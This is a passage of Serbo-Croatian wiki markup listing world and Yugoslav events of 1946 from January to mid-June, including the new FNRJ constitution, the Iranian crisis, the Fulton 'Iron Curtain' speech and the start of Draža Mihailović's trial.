sporazum o primirju, ali rat se nastavlja u junu. * [[15. 1.]] - Austrijski alpinisti [[Heinrich Harrer]] i [[Peter Aufschnaiter]] stigli u [[Lhasa|Lhasu]] - Harrer će napisati knjigu "[[Sedam godina na Tibetu]]". * januar - Talas štrajkova u SAD: rad je obustavljalo 174.000 radnika u električnoj industriji, 93.000 u mesnoj, 750.000 u čeličanama. [[Taft-Hartleyjev zakon]] će dogodine ograničiti moć sindikata. * januar - Indijski provincijski izbori su polarizovani između [[Indijski nacionalni kongres|Indijskog nacionalnog kongresa]] i [[Muslimanska liga|Muslimanske lige]], koja je potvrđena kao zastupnik muslimana Britanske Indije (rezultati verifikovani u martu). [[Datoteka:UNITED NATIONS - SECURITY COUNCIL - NARA - 515905.jpg|mini|Prvi [[Savet bezbednosti Ujedinjenih nacija]]]] * [[17. 1.]] - U Londonu održano prvo zasedanje [[Savet bezbednosti Ujedinjenih nacija|Saveta bezbednosti Ujedinjenih nacija]] - prvim pitanjem se bavi dva dana kasnije, iranskim protestom zbog odužene sovjetske okupacije iranskog Azerbejdžana. * [[19. 1.]] - Prvi let raketnog eksperimentalnog aviona [[Bell X-1]]. * [[20. 1.]] - Na [[Majevica|Majevici]] likvidiran četnički vojvoda [[Radivoje Kerović]]. * [[20. 1.]] - [[Charles de Gaulle]] daje ostavku na čelu [[Privremena vlada Francuske Republike|Privremene vlade Francuske republike]], nadajući se da će se uskoro vratiti s većom moći - na scenu se vraća tek 1958, biće prvi predsednik [[Peta Francuska Republika|Pete republike]] 1959-69, a u međuvremenu se smenjuju 24 administracije Privremene vlade i [[Četvrta Francuska Republika|Četvrte republike]]. * [[22. 1.]] - [[Iranska kriza 1946.|Iranska kriza]]: u [[kurdi|kurdskom]] delu [[Iran]]a proglašena autonomna [[Mahabadska Republika]] (neće doživeti kraj godine). * [[22. 1.]] - [[Karpatska Rutenija]], pod sovjetskom okupacijom od 1944, i zvanično postaje deo SSSR - [[Zakarpatska oblast]] [[Ukrajinska Sovjetska Socijalistička Republika|Ukrajinske SSR]]. * [[24. 1.]] - Prvom rezolucijom Generalne skupštine UN, koju su inicirale [[SAD]], [[Velika Britanija]] i [[Kanada]], osnovana je Komisija za atomsku energiju UN (aktivna do 1949, raspuštena 1952). * [[25. 1.]] - Počinje [[proterivanje Nemaca iz Čehoslovačke]]: do oktobra odlazi preko dva miliona. * [[29. 1.]] - Osnovana Centralna obaveštajna grupa (od [[1947]]. [[CIA]]). [[Datoteka:Emblem of Yugoslavia (1943–1963).svg|mini|140px|Amblem [[FNRJ]]]] * [[31. 1.]] - Ustavotvorna skupština je donela [[Ustav Federativne Narodne Republike Jugoslavije|Ustav]] [[Federativna Narodna Republika Jugoslavija|Federativne Narodne Republike Jugoslavije]] - po uzoru na [[Ustav Sovjetskog Saveza]], ojačana vlada na račun skupštine. ** FNRJ je "zajednica ravnopravnih naroda" koji žive zajedno na osnovu prava na samoopredeljenje, uključujući pravo na otcepljenje. Čine je šest narodnih republika. NR Srbija ima u svom sastavu Autonomnu pokrajinu Vojvodinu i Autonomnu kosovsko-metohijsku oblast. ** Kao vrhovni organ državne vlasti je označena [[Narodna skupština FNRJ]], koja ima [[Savezno vijeće SFRJ|Savezno veće]] i [[Veće naroda]], bira sebi [[Prezidijum Narodne skupštine FNRJ|Prezidijum]] (predsednik [[Ivan Ribar]]), imenuje i razrešava [[Vlada FNRJ|Vladu FNRJ]]. ** Ustav je značajno izmenjen [[Ustavni zakon 1953.|Ustavnim zakonom 1953.]] * 31. 1. - U Mađarskoj je statutom ukinuta monarhija i uvedena republika - ustav [[Narodna Republika Mađarska|narodne republike]] je donesen 1949, nakon komunističkog preuzimanja vlasti (→ [[taktika salame]]). * 31. 1. - [[Eurico Gaspar Dutra]] je novi predsednik Brazila (do 1951) - time [[Vargasova era]] smenjena [[Druga Brazilska Republika|Četvrtom republikom]] (do [[Državni udar u Brazilu 1964.|vojnog udara]] 1964). * januar - Od 126 miliona dolara UNRRA-ine pomoći, u Jugoslaviju je otišlo 36 miliona (NYT, 9. 4.) === Februar/Veljača === [[Datoteka:Tito and Ivan Ribar in 1943.jpg|mini|[[Ivan Ribar]] i Tito 1943 - sada predsednik prezidijuma skupštine i predsednik vlade]] * [[1. 2.]] - [[Josip Broz Tito]] prvi predsednik novoformirane Vlade FNRJ. * 1. 2. - [[Zoltán Tildy]], iz Sitnoposedničke stranke, prvi je predsednik mađarske republike (do 1948), premijer je od 4-og [[Ferenc Nagy]] iz iste stranke (do 1947). * 1. 2. - Tajni sporazum SSSR i Sirije o vojnoj pomoći. [[Datoteka:Trygve Lie.png|mini|left|[[Trygve Lie]]]] * [[2. 2.]] - Norvežanin [[Trygve Lie]] postaje prvi [[Generalni sekretar Ujedinjenih naroda]] (do 1952). * 2. 2. - Od južnog [[Sahalin]]a i [[Kurilski otoci|Kurilskih otoka]], uzetih prošle godine od Japana, osnovana Južnosahalinska oblast - dogodine deo šire [[Sahalinska oblast|Sahalinske oblasti]] [[Ruska Sovjetska Federativna Socijalistička Republika|Ruske SFSR]]. * [[3. 2.]] - [[Guzenkova afera]]: novinar Drew Pearson objavljuje vest o prebegu sovjetskog šifranta prošlog septembra u Kanadi, sa dokazima o špijunskoj mreži u toj zemlji, SAD i UK - kanadska vlada nekoliko dana kasnije osniva istražnu komisiju. * 3. 2. - Incident u [[Tonghua]]: neuspela pobuna japanskih zarobljenika koje su držali kineski komunisti, u dosluhu sa Kuomintangom, praćena je masakrom. * [[4. 2.]] - [[Milan Nedić]] izvršio samoubistvo u pritvoru u Beogradu. * [[4.2.|4]] - [[5. 2.]] - Američka i britanska vlada priznale [[Kraljevina Rumunija|rumunsku]] vladu, kojom dominiraju komunisti. * [[5. 2.]] - Na snazi je ugovor o poljsko-sovjetskoj granici od prošlog avgusta (još dve izmene 1948. i '51.). * 5. 2. - Američka firma TWA otvara prvu redovnu transatlantsku avionsku liniju, New York City - Paris, avionom [[Lockheed Constellation]]. * [[7. 2.]] - Incident u Beogradu, američki narednik Charles Nicoloff ubio sovjetskog vojnika Ivana Ivanovića Vasiljenka, navodno u samoodbrani (oslobođen u decembru pred vojnim sudom u Napulju)<ref>T. Jakovina, Američki komunistički saveznik, p. 203</ref>. * ca. 7. 2. - Zakon o ovlašćenju Vladi FNRJ za donošenje uredaba po pitanjima iz narodne privrede (jačanje državne intervencije u privredu). * [[8. 2.]] - [[Kim Il-sung]] postaje predsednik Privremenog narodnog komiteta za sever Koreje, uz podršku sovjetskih okupacionih vlasti (gen. [[Terentij Štikov]]). Uskoro se sprovodi redistribucija zemlje, nacionalizacija teške industrije i neke socijalne mere. * 8. 2. - Američki departman rata objavljuje da će otpustiti Jugoslovene koji služe sa okupacionim snagama u Nemačkoj; 12-og se izveštava o raciji među Poljacima i Jugoslovenima, kako bi se sprečilo formiranje armija neprijateljskih prema vladama u postojbinama. (New York Times) * [[9. 2.]] - Staljinov govor u Boljšom teatru: kapitalistički razvoj čini ratove neizbežnim (shvaćeno kao pretnja Zapadu), najavljuje nove petogodišnje planove i napore. * [[12. 2.]] - [[Pokret za građanska prava (SAD)]]: crni veteran Isaac Woodard je prebijen i oslepljen u Južnoj Karolini - šerif koji je to učinio je oslobođen. * [[14. 2.]] - Memorandum vlade FNRJ o "antijugoslovenskom stavu" poljske emigrantske armije ([[Andersova armija]]). [[Datoteka:Classic shot of the ENIAC.jpg|mini|[[ENIAC]]]] * 14. 2. - Javnosti predstavljen [[ENIAC]], prvi programabilni računar opšte svrhe. * 14. 2. - Laburistička vlada nacionalizovala [[Banka Engleske|Banku Engleske]] - sledi principe [[Kejnzijanizam|kejnzijanizanske]] ekonomike, niske kamate i podrška agregatnoj potražnji. * [[15. 2.]] - [[Datoteka:Flag of Bosnia and Herzegovina (1946–1992).svg|35px]] Federalna Bosna i Hercegovina mijenja ime u [[Narodna Republika Bosna i Hercegovina]]. [[Rodoljub Čolaković]] obrazuje novu vladu. * [[16. 2.]] - Poleteo [[Sikorsky H-5|Sikorsky S-51]], prvi komercijalni helikopter. * 16. 2. - Osnovan francuski [[Saarski protektorat]], odvojen od ostatka Nemačke pod savezničkom okupacijom (priključen Zapadnoj Nemačkoj 1957). * [[18. 2.]] - U [[Bombaj]]u izbija pobuna u Kraljevskoj indijskoj mornarici, zbog loše hrane - proširila se lukama cele Britanske Indije, do gušenja 24-og stradalo je više od 200 ljudi. * 18. 2. - "Velika konzistorija": papa [[Pio XII]] proizveo je 32 kardinala, među kojima je i [[József Mindszenty]] iz Mađarske. * [[19. 2.]] - [[Datoteka:Flag of Serbia (1946–1992).svg|border|35px]] Federalna Srbija menja ime u [[Narodna Republika Srbija]]. * [[20. 2.]] - Eksplozija u rudniku uglja u Bergkamenu na severu Rura, poginulo 405 rudara. * [[22. 2.]] - Uticajni "[[Dugi telegram]]" službenika američke ambasade u Moskvi [[George F. Kennan|Georga F. Kennana]] o načinu na koji [[SSSR]] posmatra svet (sovjetski ambasador u Washingtonu Nikolaj Novikov će u septembru poslati "Novikovljev telegram" o viđenju američkih planova). * 22. 2. - [[Datoteka:Flag of Serbia (1947–1992); Flag of Montenegro (1946–1993).svg|border|35px]] Federalna Crna Gora mijenja ime u [[Narodna Republika Crna Gora]]. * [[24. 2.]] - [[Juan Peron]] izabran za predsednika [[argentina|Argentine]] (preuzima u junu pa do 1955. i opet 1973-74). Njegova partija dobija većinu u parlamentu. Deklarisani ciljevi su socijalna pravda i ekonomska nezavisnost. * [[26. 2.]] - [[Datoteka:Flag of the Socialist Republic of Croatia.svg|35px]] Federalna Hrvatska postaje [[Narodna Republika Hrvatska]]. [[Vladimir Bakarić]] obrazuje novu vladu NRH. * 26. 2. - Početak opažanja "[[Fantomska raketa|fantomskih raketa]]" iznad Skandinavije, što se nastavlja u ostatku godine. * [[28. 2.]] - Prvi broj francuskog sportskog lista ''[[L'Équipe]]''. * 28. 2. - Franko-kineski sporazum o povlačenju kineskih vojnika sa severa Vijetnama (dovršeno u junu) i kraju francuskih koncesija u Kini. [[Hồ Chí Minh]] telegramom poziva Trumana da podrži nezavisnost Vijetnama. * februar-avgust - Povrede jugoslovenskog vazdušnog prostora iznad Slovenije, od strane američkih i britanskih aviona. === Mart/Ožujak === [[Datoteka:Iran oil concession.png|mini|Naftne koncesije/sfere uticaja SSSR i UK u Iranu]] * [[2. 3.]] - Rok za povlačenje [[Anglo-sovjetska invazija na Iran|stranih trupa]] iz Irana: Britanci to i čine, Sovjeti zasada odbijaju. * [[4. 3.]] - [[Carl Gustaf Emil Mannerheim]] se povlači sa čela Finske, nasleđuje ga premijer [[Juho Kusti Paasikivi]] (do 1956) - sledi politiku demokratije i neutralnosti i dobrih odnosa sa SSSR (→ [[finlandizacija]]). * [[5. 3.]] - [[Winston Churchill|Čerčilov]] govor u [[Fulton, Missouri|Fultonu, Misuri]], o "[[Gvozdena zavesa|Gvozdenoj zavesi]]". * [[6. 3.]] - Kinezi sprečili francusko iskrcavanje u Haiphongu na severu Vijetnama (Tonkinu). Kasnije tokom dana Ho Chi Minh potpisao provizorni sporazum, Ho–Sainteny, o slobodnoj "Republici Vijetnam" u okviru [[Francuska unija|Francuske unije]] i francuskim trupama u Tonkinu. * [[7. 3.]] - [[Iranska kriza 1946.|Iranska kriza]]: SAD zahtevaju od Sovjeta da se povuku iz Irana. * [[8. 3.]] - [[Bell 47]] je prvi helikopter odobren za civilnu upotrebu u SAD. * [[9. 3.]] - U gomili na stadionu Burnden Park u [[Bolton]]u stradala 33 navijača. Utakmica je nastavljena posle pauze. * [[10. 3.]] - U tršćanskom predgrađu Servola ubijeno dvoje projugoslovenskih demonstranata - protesti i neredi u gradu sledećih dana. * 10. 3. - Lavovski sabor: [[Ukrajinska grkokatolička crkva]] se pod pritiskom vlasti priključuje [[Ruska pravoslavna crkva|Ruskoj pravoslavnoj]] (legalizovana 1989). * 10. 3. - Dijamantski jubilej, 60 godina, [[Aga Khan III|Age Khana III]], lidera [[nizariti|nizaritskih]] ismailitskih šiitskih muslimana - njegova težina je u Bombaju odmerena u dijamantima, za socijalne svrhe. * [[11. 3.]] - Uhapšen bivši komandant Auschwitza [[Rudolf Höss]] (pogubljen u aprilu 1947). * [[13. 3.]] - [[Draža Mihailović]] uhvaćen u okolini [[Višegrad]]a. * 13. 3. - Reorganizovna [[OZNA]], Odeljenje za zaštitu naroda: od Prvog i Drugog odseka nastaje [[Uprava državne bezbednosti]], UDBA, pri unutrašnjim poslovoma, a od trećeg Kontraobveštajna služba, [[KOS]], pri vojsci. * [[15. 3.]] - Britanski premijer [[Clement Attlee]] objavljuje nameru dati nezavisnost [[Britanska Indija|Indiji]], čim se dogovore oko ustava. * mart - Sovjetsko-iranski naftni sporazum je povoljan za Sovjete, ali iranski Medžlis je sledeće godine odbio ratifikaciju. * [[17. 3.]] - [[18. dodjela Oscara]]: najbolji film je ''[[The Lost Weekend]]'', ukupno četiri nagrade. * [[18. 3.]] - Tito u Varšavi, potpisan Ugovor o prijateljstvu i uzajamnoj pomoći između Poljske i Jugoslavije. * 18. 3. - Vrhovni sovjet SSSR usvojio zakon o Četvrtoj petoletki - obnova i razvitak zemlje. * [[19. 3.]] - [[Francuska Gvajana]], [[Gvadalupa]], [[Martinik]] i [[Reunion]] su postali [[prekomorski departman]]i [[Francuska|Francuske]]. * 19. 3. - Oboleli [[Mihail Kalinjin]] se povlači s položaja titularnog šefa države SSSR, nasleđuje ga [[Nikolaj Švernik]] (do 1953). * [[20. 3.]] - Najgora železnička nesreća u istoriji Brazila: 185 mrtvih kod Arakažua na istoku, nakon iskliznuća iz šina. * 20. 3. - [[Internacija Japanskih Amerikanaca]]: zatvoren je poslednji od deset logora, Tule Lake na severu Kalifornije. * [[22. 3.]] - Londonski ugovor: [[Transjordan]], deo [[Britanski mandat nad Palestinom|Britanskog Mandata Palestine]], postati će Hašemitska Kraljevina Transjordan, nezavisna sa britanskim bazama. * [[23. 3.]] - "Bandung more vatre": indonežanske snage se nakon ultimatuma povlače iz južnog dela [[Bandung]]a sa stotinama hiljada civila i pale sve za sobom (na severu Bandunga su Britanci, koji predaju grad Holanđanima 17. 4.). * [[24. 3.]] - Na Cetinju osnovano Udruženje likovnih umjetnika Crne Gore. * 24. 3. - U New Delhi stiže Kabinetska misija: želi nepodeljenu nezavisnu Indiju sa trospratnom strukturom, ali između Indijskog nacionalnog kongresa i Muslimanske lige vlada nepoverenje. * 24. 3. - Umro šahovski prvak [[Aleksandr Aljehin]] - interregnum traje do 1948. i [[Mihail Botvinik|Botvinikove]] pobede na specijalnom turniru. * [[25. 3.]] - Otvoren londonski aerodrom [[Heathrow]], jedan od najvećih na svetu. * 25. 3. - Radio Moskva izjavljuje da će se sovjetske trupe povući iz Irana. * [[30. 3.]] - Nota vlade SAD vladi FNRJ povodom hvatanja Draže Mihailovića - podsećanje da je "vodio snage otpora", oficiri za vezu i spaseni avijatičari bi mogli svedočiti u procesu (vlada FNRJ odbija notu). * [[31. 3.]] - Priv izbori u Grčkoj od 1936: [[Komunistička partija Grčke|KP Grčke]] bojkotuje, navodeći [[Beli teror (Grčka)|Beli teror]]. Uspeh desnih partija, premijer će postati [[Konstantinos Caldaris]]. Noć pred izbore, komunistička grupa je napala policijsku stanicu u selu Litohoro, čime se obnavlja [[Grčki građanski rat]] (do [[1949]]), u kojem FNR Jugoslavija daje najveću podršku grčkim komunistima. === April/Travanj === [[Datoteka:Pruga Samac-Sarajevo.jpg|mini|Pruge Brčko-Banovići i Šamac-Sarajevo (1947)]] * [[1. 4.]] - [[Omladinske radne akcije|Omladinskom radnom akcijom]] (ORA) počela izgradnja željezničke[[Pruga Brčko–Banovići|pruge Brčko-Banovići]]. * 1. 4. - Raspuštena britanska kolonija [[Tjesnačka naselja]]: Penang i Malacca zajedno sa Malajskim državama čine [[Malajska unija|Malajsku uniju]] (Federacija Malaja 1948-63, prošireno u [[Malezija|Maleziju]]); [[Singapur]] je zasebna kolonija (deo Malezije 1963-65, zatim nezavisan). * 1. 4. - Operacija Road's End: Amerikanci uništili 24 zarobljene japanske podmornice. * 1. 4. - Zemljotres pored Aleutskih ostrva, cunami je smrtonosan i na Havajima. * 1. 4. - [[Sarov]] je izabran za lokaciju proizvodnje sovjetskog nuklearnog oružja, Arzamas-16. * [[3. 4.]] - Titov ekspoze o vanjskoj politici u Saveznoj skupštini, izvještava o "prelijetanju savezničkih vojnih i drugih aviona" iznad Jugoslavije. * [[4. 4.]] - [[Iranska kriza 1946.|Iranska kriza]]: Rezolucija 3 Saveta bezbednosti UN: Sovjeti se pozivaju da njihove trupe što pre napuste Iran. * ca. 4. 4. - FNRJ: Zakon o opštoj državnoj kontroli (nadzire državne organe i njima potčinjene ustanove i preduzeća). * [[5. 4.]] - Američki brod ''[[USS Missouri (BB-63)|USS Missouri]]'' stigao pred Istanbul s ostacima umrlog turskog ambasadora (SSSR protestuje); četiri dana kasnije stiže u [[Pirej]]. * 5. 4. - Sovjetske trupe napustile dansko ostrvo [[Bornholm]]. * [[8. 4.]] - Osnovana je firma ''[[Électricité de France]]'' (EDF), nakon nacionalizacije oko 1.700 firmi iz energetske branše (privatizovana 2004. uz većinski vladin udeo, renacionalizacija najavljena 2022). * [[10. 4.]] - Prvi višestranački izbori u Japanu od 1937. i prvi sa ženskim glasanjem - najviše mandata dobila Liberalna partija, ali njenom lideru [[Ichirō Hatoyama|Ichirō Hatoyami]] nije dozvoljeno da povede vladu. * [[11. 4.]] - Na inicijativu [[Félix Houphouët-Boigny|Félixa Houphouët-Boignyja]], poslanika iz Obale Slonovače, francuska skupština ukida prinudni rad u kolonijama. * [[13. 4.]] - Vlada FNRJ priznala [[Španska republikanska vlada u izbeglištvu|Špansku republikansku vladu u izbeglištvu]]. * 13. 4. - Zakon Marthe Richard ukida [[bordel]]e u Francuskoj. * [[16. 4.]] - Prvo lansiranje rakete [[V-2]] u SAD, na poligonu [[White Sands, New Mexico|White Sands]] u Novom Meksiku. * 16. 4. - Hooverova misija: kratak boravak u Beogradu, na proputovanju iz Beča u Atinu. * [[17. 4.]] - Poslednji francuski vojnici napuštaju Siriju (slavi se kao Dan evakuacije). * 17. 4. - Osnovana Narodna tehnika Jugoslavije. * [[18. 4.]] - Vlada SAD uspostavila diplomatske odnose sa FNRJ, tj. priznaje Titovu vladu, ne odobravajući politiku. * 18. 4. - Zvanično raspušteno [[Društvo naroda]]. Raspušten je i [[Stalni sud međunarodne pravde]], zamenjuje ga [[Međunarodni sud pravde]]. * [[20. 4.]] - Objavljen Izveštaj Anglo-američkog istražnog komiteta o problemima evropskog jevrejstva i Palestine: preporučuje se prijem 100.000 Jevreja žrtava nacifašističkog progona. Kada britanska vlada, s nedovoljnim finansijskim i vojnim sredstvima, to odbije, naći će se na udaru jevrejskih napada. * [[21. 4.]] - Prva prijateljska fudbalska utakmica Crvene Zvezde i Partizana. * 21. 4. - Osnovana [[Socijalistička partija jedinstva Nemačke]] (SED), spajanjem komunističke i socijaldemokratske partije u ruskoj zoni - vladajuća partija [[Istočna Njemačka|Istočne Njemačke]] do 1989. * 21. 4. - Telo [[Benito Mussolini|Benita Mussolinija]] je ukradeno iz neoznačenog groba na milanskom groblju (pronađen je u avgustu, sahranjen u [[Predappio, Forlì-Cesena|rodnom mestu]] 1957). [[Datoteka:Vespa Bachetta 125cc 1948.jpg|mini|Jedna rana [[vespa]]]] * [[23. 4.]] - Italijanska firma [[Piaggio]] je patentirala motocikl-[[skuter]] pod nazivom [[Vespa]]. * 23. 4. - Film ''[[The Outlaw]]'' iz 1943. je redistribuiran, istakla se [[Jane Russell]]. * [[24. 4.]] - Prvi letovi dva sovjetska mlaznjaka, [[MiG-9]] i [[Jak-15]]. * ca. 26. 4. - Sovjeti se povlače sa severoistoka Kine, komunisti preuzimaju [[Harbin]], [[Qiqihar]], [[Changchun]]. * [[29. 4.]] - Počinje [[Tokijski proces]] japanskim ratnim zločincima. * ca. 29. 4. - FNRJ: Uredba o otkupu žitarica u ekonomskoj 1946/1947 godini (obavezni ili prinudni otkup) - cilj je snabdevanje gradova, vojske i nove industrije; nerealne procene i ideološki pristup dovode do nezadovoljstva i ekscesa na selu. * 29. 4. - Američki letači traže od Trumana da pomogne Mihailoviću. (NYT) * april - Tadao Kashio u Japanu osnovao firmu, budući [[Casio]]; prvi veći proizvod: prsten-držač za cigaretu. === Maj/Svibanj === * [[1. 5.]] - Čuvar ambasade SAD William Wedge službenim džipom pod uticajem alkohola usmrtio oficira JA (u septembru osuđen na osam godina)<ref>Jakovina, p. 207</ref>. * [[2. 5.]] - Na ministarskom savetu u Parizu odlučeno da [[Palagruža]] pripadne Jugoslaviji, pod uslovom da ne bude militarizovana i da se zaštite italijanska ribarska prava.<ref>[https://history.state.gov/historicaldocuments/frus1946v02/d93 Record of Decisions, Council of Foreign Ministers, Second Session, Seventh Meeting, Palais du Luxembourg, Paris, May 2, 1946, noon]. history.state.gov</ref> Na ovoj konferenciji nema napretka povodom Trsta. * 2. 5. - Prikazan film ''[[The Postman Always Rings Twice (film, 1946)|The Postman Always Rings Twice]]''. * [[3. 5.]] - [[Tokijski proces]]: Međunarodni vojni tribunal za Daleki istok počinje suđenje (do 1948). * [[5. 5.]] - Predlog francuskog ustava, usvojen prošlog meseca, odbijen je na referendumu sa 52,8% glasova - slede novi izbori za Konstituantu 2. juna i novi nacrt u septembru. * 5. 5. - Konzervativac [[Mariano Ospina Pérez]] je izabran za predsednika [[Kolumbija|Kolumbije]] (do 1950), zahvaljujući podeli među liberalima - vrhunac izvoza kafe, gradnja infrastrukture i socijalne mere, ali i porast političkih sukoba, naročito od 1948. (''[[Bogotazo]]'', ''[[La Violencia]]''). * [[7. 5.]] - Kompanija [[Sony]] je osnovana kao Tokijski telekomunikacioni inženjering, sa 20 zaposlenih. * 7. 5. - [[Viktor Abakumov]] je novi ministar državne bezbednosti SSSR umesto [[Vsevolod Merkulov|Vsevoloda Merkulova]] (do 1951) - Staljin želi suziti [[Lavrentij Berija|Berijin]] uticaj u ministarstvima sile, krajem prošle godine ovog je na čelu ministarstva unutrašnjih poslova zamenio [[Sergej Kruglov]] (do 1956, s pauzom 1953). * 7. 5. - Velika četvorka potvrđuje Rumuniji celu Transilvaniju. [[Datoteka:Umberto II, 1944.jpg|mini|[[Umberto II]], "majski kralj"]] * [[9. 5.]] - Italijanski kralj [[Vitorio Emanuele III]] abdicirao u korist sina, [[Umberto II|Umberta II]] - referendum o uređenju je za manje od mesec dana. * 9. 5. - Prva utakmica fudbalske reprezentacije nove Jugoslavije: Čehoslovačka - Jugoslavija 0:2 u Pragu<ref name="BajecDolničar1981-99">Milan Bajec, Ivan Dolničar, 1981, str. 99</ref>. U Beogradu je potpisan ugovor o prijateljstvu i uzajamnoj pomoći Jugoslavije i Čehoslovačke. Parada i veliki mitinzi u Beogradu i Zagrebu povodom prvog Dana pobede. * 9. 5. - Njujorška [[NBC]]-jeva stanica WNBT prikazuje ''[[Hour Glass (TV serija)|Hour Glass]]'', prvi redovni TV varijete šou - od novembra u mreži sa stanicama u Filadelfiji i Skenektadiju. * [[11. 5.]] - Ponovno je otvorena milanska ''[[La Scala]]'', dirigirao je [[Arturo Toscanini]], proslavila se sopranistica [[Renata Tebaldi]]. * [[11.5.|11]] - [[15. 5.]] - Treći kongres [[Ujedinjeni savez antifašističke omladine Jugoslavije|USAOJ]] u Zagrebu, ime promenjeno u Narodna omladina Jugoslavije, predsednik [[Ratko Dugonjić]]. * [[13. 5.]] - Ministar naoružanja [[Dmitrij Ustinov]] je zadužen za sovjetski raketni program. * [[14. 5.]] - Američka nota ponavlja zahtev da američki letači svedoče u korist Mihailovića. (NYT) * [[15. 5.]] - [[Incident u Krfskom kanalu]], 1. deo: sa albanske obale otvorena vatra na britanske brodove ''HMS Orion'' i ''HMS Superb''. * 15. 5. - [[Sicilija]] dobija autonomiju u Italiji (zastupnici nezavisnosti će dobiti samo 8,8% na izborima). * [[16. 5.]] - Jack Mullin je u San Franciscu pokazao nemački uređaj ''[[Magnetofon|Magnetophon]]''. Prezentaciji prisustvuju inženjeri firme [[Ampex]], koja će, počevši od Modela 200 (1948), biti lider tehnologije audio traka. * maj - Počelo povlačenje sovjetskih trupa iz Irana. * [[18. 5.]] - Potpisan ugovor o predaji [[Sarawak]]a iz uprave "Belog radže" [[Charles Vyner Brooke|Charlesa Vynera Brookea]] u režim britanske krunske kolonije, nakon što je predlog izglasan sa 19:16 - Brooke nije imao naslednika ni finansijskih sredstava. * [[20. 5.]] - Britanski Donji dom glasao za nacionalizaciju industrije uglja. * [[22. 5.]] - [[Shigeru Yoshida]] je novi japanski premijer (do 1947. i 1948-54). * [[23. 5.]] - Kineski nacionalisti oduzeli [[Changchun]] komunistima (do 1948). * 23. 5. - Štrajk železničara u SAD - dogovor postignut dva dana kasnije pod pretnjom vojne intervencije. * [[21. 5.]] - U FNRJ donesen Opšti zakon o narodnim odborima. * [[25. 5.]] - {{flagicon|Jordan}} Okončanjem [[Britanski mandat za Palestinu|Britanskog mandata]] (mada zvanično 17. juna), nastaje nezavisna Hašemitska Kraljevina Transjordan (od [[1948]]. [[Jordan]]). Emir [[Abdulah I Jordanski]] postaje kralj (do ubistva 1951). * [[26. 5.]] - Izbori u [[Čehoslovačka|Čehoslovačkoj]]: komunisti dobili relativnu većinu od 38% glasova u celoj zemlji; Slovački Demokrati dobili 62% u poluautonomnoj Slovačkoj. Komunistički lider [[Klement Gottwald]] postaje premijer početkom jula (do 1948, zatim predsednik do smrti 1953). * [[28. 5.]] - Blum–Byrnesov sporazum: SAD oprašta ratne dugove Francuskoj i daje kredit u zamenu za otvaranje filmskog tržišta (filmska industrija u Francuskoj je najvažnija posle železnice). * [[28. 5.]] - [[10. 6.]] - Tito u poseti SSSR-u. * [[29. 5.]] - Osnovan [[Minski traktorski zavod]], jedna od najvećih tvornica traktora na svijetu (gusenični traktor od 1950, točkaš od 1953). * [[31. 5.]] - U Novosibirsku osnovan Projektantski zavod [[Antonov]] (premešten u Kijev 1952). * 31. 5. - Varto–Hınıski zemljotres na istoku Turske, između 800 i 1.300 žrtava. === Jun/Juni/Lipanj === * [[1. 6.]] - Pogubljen [[Ion Antonescu]], ratni vođa Rumunije. * 1. 6. - [[Datoteka:Flag of Republic of Cochinchina.svg|30px|Zastava AR Košinkina]] Francuzi priznaju južni kraj Vijetnama za Autononomnu Republiku Košinkina, protivno sporazumu sa Ho Ši Minom - osnova [[Južni Vijetnam|Južnog Vijetnama]] (1955-75). * [[2. 6.]] - [[Italijanski ustavni referendum 1946.|Referendum]] o monarhiji u Italiji: 54,3% za [[Republika Italija|Republiku Italiju]] (na jugu većina za monarhiju). Izabrana je i Ustavotvorna skupština, prvi put su glasale žene. [[Alcide De Gasperi|De Gasperijevi]] demokršćani dobijaju 207 mandata, [[Pietro Nenni|Nennijevi]] socijalisti 115, [[Palmiro Togliatti|Togliattijevi]] komunisti 104... * 2. 6. - Izbori za novu Konstituantu u Francuskoj: Popularni narodni pokret (demokršćani) preuzimaju relativnu većinu od komunista: 166 prema 153 mandata. * ca. 3. 6. - FNRJ: Zakon o opštedržavnom privrednom planu i državnim organima za planiranje (planske komisije na svim nivoima; "najviši izraz administrativne intervencije države"). [[Datoteka:Juan Peron con banda de presidente.jpg|mini|200px|[[Juan Perón]] je predsednik Argentine]] * [[4. 6.]] - Peron započinje predsednički mandat. * [[6. 6.]] - Sporazum o ekonomskoj saradnji SSSR i FNRJ, u principu dogovorena zajednička preduzeća (finalni sporazum sledećeg februara) * 6. 6. - U Njujorku osnovana Košarkaška asocijacija Amerike (BAA) - Nacionalna košarkaška asocijacija [[NBA]] nastaje 1949. spajanjem sa Nacionalnom košarkaškom ligom. * [[7. 6.]] - [[BBC]] nastavlja televizijski program prekinut 1939. * [[8. 6.]] - Potpisani sporazumi o ekonomskoj saradnji FNRJ i SSSR, do februara će biti osnovana zajednička preduzeća [[JUSTA]] i [[JUSPAD]] (civilna avijacija odn. dunavsko parobrodarstvo). * 8. 6. - Velika proslava pobede u Londonu, od saveznika nisu došli SSSR, Jugoslavija i Poljska. * [[9. 6.]] - Ukinute vojne komisije pri partijskim rukovodstvima - centralizacija poslova narodne odbrane, Vojni savet pri CK KPJ, na čelu sa Titom. * 9. 6. - Tajlandski kralj [[Ananda Mahidol]] /Ananta Mahidon/ Rama VIII je pronađen ustreljen u krevetu. Nasleđuje ga brat [[Bhumibol Adulyadej]], /Pumipon Adun'jadet/ Rama IX (do [[2016]], krunisan 1950). [[Datoteka:Draža Mihailović i Dragi Jovanović.jpg|mini|250px|[[Beogradski proces]]: [[Dragoljub Mihailović|Draža Mihailović]] i [[Dragi Jovanović]]]] * [[10. 6.]] - [[Beogradski proces]]: počelo suđenje [[Draža Mihailović|Draži Mihailoviću]] pred Vojnim većem Vrhovnog suda [[FNRJ]], kao i još 23-ici, 10 u odsustvu, od kojih će ukupno 11 biti osuđeno na smrt. * 10. 6. - [[Datoteka:Emblem of Italy.svg|25px|Amblem Italije (1948)]] Proglašena Republika Italija, Umberto II zauvek napušta zemlju tri dana kasnije. * jun - Baruchov plan predlaže međunarodnu organizaciju za regulaciju nuklearne energije: SSSR odbija, odn. predlaže svoj plan nuklearnog razoružanja. * jun - U američkoj zoni Nemačke osnovana Gehlenova organizacija, na čelu sa nacističkim obaveštajcem [[Reinhard Gehlen|Reinhardom Gehlenom]] - prethodnica [[Savezna obavještajna služba|Savezne obavještajne službe]] (1956). * jun - Jedinice feldžandarmerije koje su održavale red u zapadnim zonama, poslednje su nemačke jedinice koje su položile oružje. * 16/[[17. 6.]] - "Noć mostova": jevrejska [[Haganah]] uništila devet od ciljanih 11 mostova, vezâ Mandatne Palestine sa susednim teritorijama, uz to je izvedeno oko 50 diverzionih akcija. * [[17. 6.]] - 